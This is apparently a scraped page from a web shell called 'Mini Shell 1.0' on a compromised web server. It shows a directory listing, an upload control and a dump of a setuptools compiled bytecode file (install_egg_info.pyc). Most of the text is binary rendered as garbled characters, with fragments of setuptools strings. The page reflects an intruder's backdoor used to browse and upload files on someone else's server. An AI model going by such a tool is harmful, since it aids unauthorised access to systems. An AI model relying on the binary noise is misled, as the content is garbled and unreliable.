HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/setuptools/command/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/setuptools/command/__pycache__/install_egg_info.cpython-311.pyc
�

�5sg����ddlmZmZddlZddlZddlmZddlmZddlm	Z	ddl
mZddlZGd�d	ej
e��ZdS)
�)�log�dir_utilN)�Command)�
namespaces)�unpack_archive�)�ensure_directoryc�:�eZdZdZdZdgZd�Zd�Zd�Zd�Z	d�Z
dS)	�install_egg_infoz.Install an .egg-info directory for the package)zinstall-dir=�dzdirectory to install toc�0�d|_d|_d|_dS�N)�install_dir�install_layout�
prefix_option��selfs �E/usr/lib/python3/dist-packages/setuptools/command/install_egg_info.py�initialize_optionsz#install_egg_info.initialize_optionss �����"���!�����c��|�dd��|�dd��tjdkr|�dd��|�d��}t	jdd|j|j�����dz}|jrl|j�	��d	vrtd
���|j�	��|_|�dtjzd��}n9|j
sd
tjvrn#|�dtjzd��}|j|_t"j�|j|��|_g|_dS)N�install_lib)rr�install)rri)rr�egg_infoz	.egg-info��debz"unknown value for --install-layoutz-py%s��real_prefix)�set_undefined_options�sys�
hexversion�get_finalized_command�
pkg_resources�Distribution�egg_name�egg_versionr�lower�DistutilsOptionError�replace�PY_MAJORr�__dict__r�source�os�path�joinr�target�outputs)r�ei_cmd�basenames   r�finalize_optionsz!install_egg_info.finalize_optionsss���"�"�=�#A�	C�	C�	C��"�"�9�-P�Q�Q�Q��>�I�%�%��&�&�y�1R�S�S�S��+�+�J�7�7�� �-��$����);�
�
�
�(�*�*�{�#����		N��&�,�,�.�.�'�9�9�*�+O�P�P�P�"&�"5�";�";�"=�"=�D���'�'��-�2H�(H�"�M�M�H�H�
�
�	N�=�C�L�#@�#@���'�'��-�2H�(H�"�M�M�H��o����g�l�l�4�#3�X�>�>�������rc�^�|�d��tj�|j��rEtj�|j��s!t
j|j|j���nStj�	|j��r/|�
tj|jfd|jz��|jst|j��|�
|j
dd|j�d|j����|���dS)Nr)�dry_runz	Removing �zCopying z to )�run_commandr-r.�isdirr0�islinkr�remove_treer6�exists�execute�unlinkr	�copytreer,�install_namespacesrs r�runzinstall_egg_info.run3s������$�$�$�
�7�=�=���%�%�	O�b�g�n�n�T�[�.I�.I�	O�� ���d�l�C�C�C�C�C�
�W�^�^�D�K�
(�
(�	O��L�L���T�[�N�K�$�+�4M�N�N�N��|�	*��T�[�)�)�)�����M�2�2�T�[�[�[�$�+�+�N�	
�	
�	
�	
���!�!�!�!�!rc��|jSr)r1rs r�get_outputszinstall_egg_info.get_outputs@s
���|�rc�H���fd�}t�j�j|��dS)Nc�&��dD]!}|�|��sd|z|vrdS�"�jr4�jdvr+|�d��rtjd��dS�j�|��tjd||��|S)N)z.svn/zCVS/�/rzSOURCES.txtzSkipping SOURCES.txtzCopying %s to %s)�
startswithrr�infor1�append�debug)�src�dst�skiprs   �r�skimmerz*install_egg_info.copytree.<locals>.skimmerEs����(�
 �
 ���>�>�$�'�'� �3��:��+<�+<��4�4�,=��"�
�t�':�g�'E�'E�#�.�.�Yf�Jg�Jg�'E���/�0�0�0��t��L����$�$�$��I�(�#�s�3�3�3��Jr)rr,r0)rrNs` rr?zinstall_egg_info.copytreeCs:���	�	�	�	�	�	�t�{�D�K��9�9�9�9�9rN)�__name__�
__module__�__qualname__�__doc__�description�user_optionsrr4rArCr?r7rrrrsv������8�8�B�K�	9��L�"�"�"�
���4"�"�"����:�:�:�:�:rr)�	distutilsrrr-r �
setuptoolsrr�setuptools.archive_utilr�_pathr	r#�	Installerrr7rr�<module>rZs���#�#�#�#�#�#�#�#���������������!�!�!�!�!�!�2�2�2�2�2�2�$�$�$�$�$�$�����H:�H:�H:�H:�H:�z�+�W�H:�H:�H:�H:�H:r